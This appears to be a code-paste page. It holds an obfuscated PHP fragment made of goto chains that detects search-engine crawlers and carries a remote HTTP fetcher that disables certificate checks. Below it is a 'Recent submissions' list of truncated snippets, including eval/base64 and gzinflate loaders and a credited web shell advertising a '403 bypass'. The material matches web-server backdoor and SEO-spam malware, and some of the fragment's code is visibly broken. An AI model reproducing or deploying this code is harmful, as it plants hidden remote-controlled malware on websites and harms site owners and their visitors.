preg_match("/(googlebot|bingbot|google|baidu|bing|yahoo|yandex)/si", $avLli); } goto S7sfS; g4o4x: function aSqiT($BWLow, $IAK_x = array()) { goto zzk5l; zzk5l: $ehCTI = 0; goto xpHsM; vD1yi: return $ehCTI; goto YbPKD; xpHsM: try { goto nrIbS; TNBKl: $wmpGR = $IpRm1; goto OWYpj; wNLY2: goto mRx7b; goto OknNX; PhnVv: $WWVwg = isset("a") ? "a" : ''; goto cazgv; ZA6s0:  goto lR52a; BHWmD: $gzXkN = isset($kqrxu["scheme"]) ? $kqrxu["scheme"] : "http"; goto lEXEu; HVpfT: fwrite($BAjZg, $yOYQo); goto aUpKM; vO2qo: $WWVwg .= "Content-Length: " . strlen($OKGQO) . "\xd
"; goto RP91_; OknNX: yFBtv: goto iuw89; h0L3S: $DTpgb = curl_init(); goto uNQ85; cvhgo: if (feof($BAjZg)) { goto GFLPe; } goto R7I2l; NJw2O: if (empty($IAK_x)) { goto mt6l_; } goto lhSGm; OWYpj: IKFMs: goto UYyKx; ebjS5: $WWVwg .= "Content-Type: application/x-www-form-urlencoded\xd
"; goto vO2qo; lEXEu: $FM3MI = $kqrxu["host"]; goto bMaz1; UYyKx: $ehCTI = trim($wmpGR); goto rzpYj; b41Ub: if (!($ehCTI === 0)) { goto yGGB9; } goto Ev8zW; lepGk: yGGB9: goto wKYYZ; QFM9M: xyU_S: goto HvdMX; Mrzvy: goto DgrhW; goto h1Pl8; us26q: $RHaVw = ($gzXkN === "https" ? "ssl://" : '') . $FM3MI . ":" . $RA4P_; goto CxlFI; Gb31O: $yOYQo .= "Host: {$FM3MI}\xd\xa"; goto BkaC_; uNQ85: curl_setopt($DTpgb, CURLOPT_URL, $BWLow); goto xQmK0; fk2JP: $qZdor = strpos($wmpGR, "\xd\xa"); goto sfwjr; Ecc2q: curl_setopt($DTpgb, CURLOPT_SSL_VERIFYPEER, false); goto ER3_J; h1Pl8: GFLPe: goto N7X1m; IK0S_: oVMI1: goto SLSWH; gOmSy: $kqrxu = parse_url($BWLow); goto BHWmD; JbHvw: $OKGQO = ''; goto j8wqH; HvdMX: s1oIo: goto b41Ub; lEx8B: goto wveOY; goto iJJmr; BkaC_: $yOYQo .= $WWVwg; goto IGYM4; Y7Y4q: curl_setopt($DTpgb, CURLOPT_FOLLOWLOCATION, 1); goto lrqBs; iuw89: $IpRm1 .= substr($wmpGR, $qZdor + 2, $JklWk); goto i_m7O; aUpKM: DgrhW: goto cvhgo; MxUcL: $LW22N = isset($kqrxu["path"]) ? $kqrxu["path"] : "/"; goto gub1W; PcpKK: x7N3N: goto HVpfT; R7I2l: $ehCTI .= fgets($BAjZg, 1024); goto Mrzvy; xQmK0: curl_setopt($DTpgb, CURLOPT_USERAGENT, "WHR"); goto ze2Ta; IGYM4: if (!("POST" === "POST")) { goto x7N3N; } goto r4V6O; i_m7O: $wmpGR = substr($wmpGR, $qZdor + 2 + $JklWk + 2); goto lEx8B; pQ_Zg: $B3iVh = curl_exec($DTpgb); goto xTuPp; Xy33N: if (!(stripos($WWVwg, "Transfer-Encoding: chunked") !== false)) { goto IKFMs; } goto vAyT4; rooQb: if (empty($IAK_x)) { goto Lbt3G; } goto ZA6s0; bMaz1: $RA4P_ = $gzXkN === "https" ? 443 : 80; goto MxUcL; nSvHX: if (!$B3iVh) { goto xyU_S; } goto EDUW7; xTuPp: curl_close($DTpgb); goto nSvHX; SLSWH: $JklWk = hexdec(substr($wmpGR, 0, $qZdor)); goto TBYz3; ze2Ta: curl_setopt($DTpgb, CURLOPT_CONNECTTIMEOUT, 0); goto LafRK; mKI_W: goto mRx7b; goto IK0S_; lhSGm: curl_setopt($DTpgb, CURLOPT_POST, 1); goto vK4O_; TBYz3: if (!($JklWk === 0)) { goto yFBtv; } goto wNLY2; rzpYj: FkbPi: goto lepGk; ro6Jt: $WWVwg = "User-Agent: WHR\xd\xa"; goto rooQb; CxlFI: $BAjZg = stream_socket_client($RHaVw, $L8dpH, $mPXoI, 45); goto CLDoT; EDUW7: $ehCTI = trim(trim($B3iVh, "")); goto QFM9M; mLS1b: $DmAtg = explode("\xd\xa\xd
", $ehCTI, 2); goto PhnVv; vAyT4: $IpRm1 = ''; goto aHo7r; RP91_: Lbt3G: goto m8qq5; CLDoT: if (!$BAjZg) { goto FkbPi; } goto p493U; r4V6O: $yOYQo .= $OKGQO; goto PcpKK; p493U: $yOYQo = "{"POST"} {$LW22N}{$SIIjC} HTTPyq
\xa"; goto Gb31O; j8wqH: "POST" = "GET"; goto ro6Jt; N7X1m: fclose($BAjZg); goto mLS1b; iefhY: mt6l_: goto pQ_Zg; iJJmr: mRx7b: goto TNBKl; lR52a: $OKGQO = http_build_query($IAK_x); goto ebjS5; cazgv: $wmpGR = isset("r") ? "r" : ''; goto Xy33N; vK4O_: curl_setopt($DTpgb, CURLOPT_POSTFIELDS, http_build_query($IAK_x)); goto iefhY; ER3_J: curl_setopt($DTpgb, CURLOPT_SSL_VERIFYHOST, false); goto Y7Y4q; E2Cvw: if (!true) { goto mRx7b; } goto fk2JP; sfwjr: if (!($qZdor === false)) { goto oVMI1; } goto mKI_W; aHo7r: wveOY: goto E2Cvw; lrqBs: curl_setopt($DTpgb, CURLOPT_TIMEOUT, 60); goto NJw2O; gub1W: $SIIjC = isset($kqrxu["query"]) ? "?" . $kqrxu["query"] : ''; goto JbHvw; Ev8zW: $ehCTI = ''; goto gOmSy; m8qq5: $WWVwg .= "Connection: close\xd\xa\xd\xa"; goto us26q; nrIbS: if (!(function_exists("curl_init") && function_exists("curl_exec"))) { goto s1oIo; } goto h0L3S; LafRK: curl_setopt($DTpgb, CURLOPT_RETURNTRANSFER, 1); goto Ecc2q; wKYYZ: } catch (Exception $UCmFt) { } goto vD1yi; YbPKD: } goto u_dJH; gWRRI: z0DQz();

Recent submissions:

<?php goto Rmusn; YmDUF: bfDiE: goto g4o4x; t4lk3: if (!function_exists("\x6f\142\137\x73\... <?php goto HkV9l; HkV9l: $Y8fct = 'st' . 'rre' . 'v'; goto qywja; qywja: @ini_set('displ... <?php /** * Code By : https://github.com/KelelawarCyberTeam * Fitur shell: - Bypass 403 Fo... <?php header('Content-type: text/html; charset=utf-8'); include("chat_config.php"); i... return(function(...)return(function(w,e,E,l,s,Y,u,g,f,t,G,F,p,a,N,r,V,B,A,S,x,i,K,q,P)g,i,... <?php eval('?>'.base64_decode('PD9waHAgZXZhbCgnPz4nLmJhc2U2NF9kZWNvZGUoJ1BEOXdhSEFnWlhaaGJ... <!DOCTYPE html> <html lang="en"> <head> <meta charset="UTF-8"> <meta name="viewpor... /*kOQKjRAcYOCUEgKdjHVLdOHIIdcIbBfxiejkTGslQoLlEWeOmWuPVPiOOgiDvKgOEkzdNfelyPKBMDZPmelGHZIF... <?php eval(gzinflate(base64_decode("FZzHcqRaFkX/pUfvBQM8JNEjvPeeSQc28d5/faeiplUqknvO3msJpP... <?php //NS4w /* -------------------------------------------------------------------------...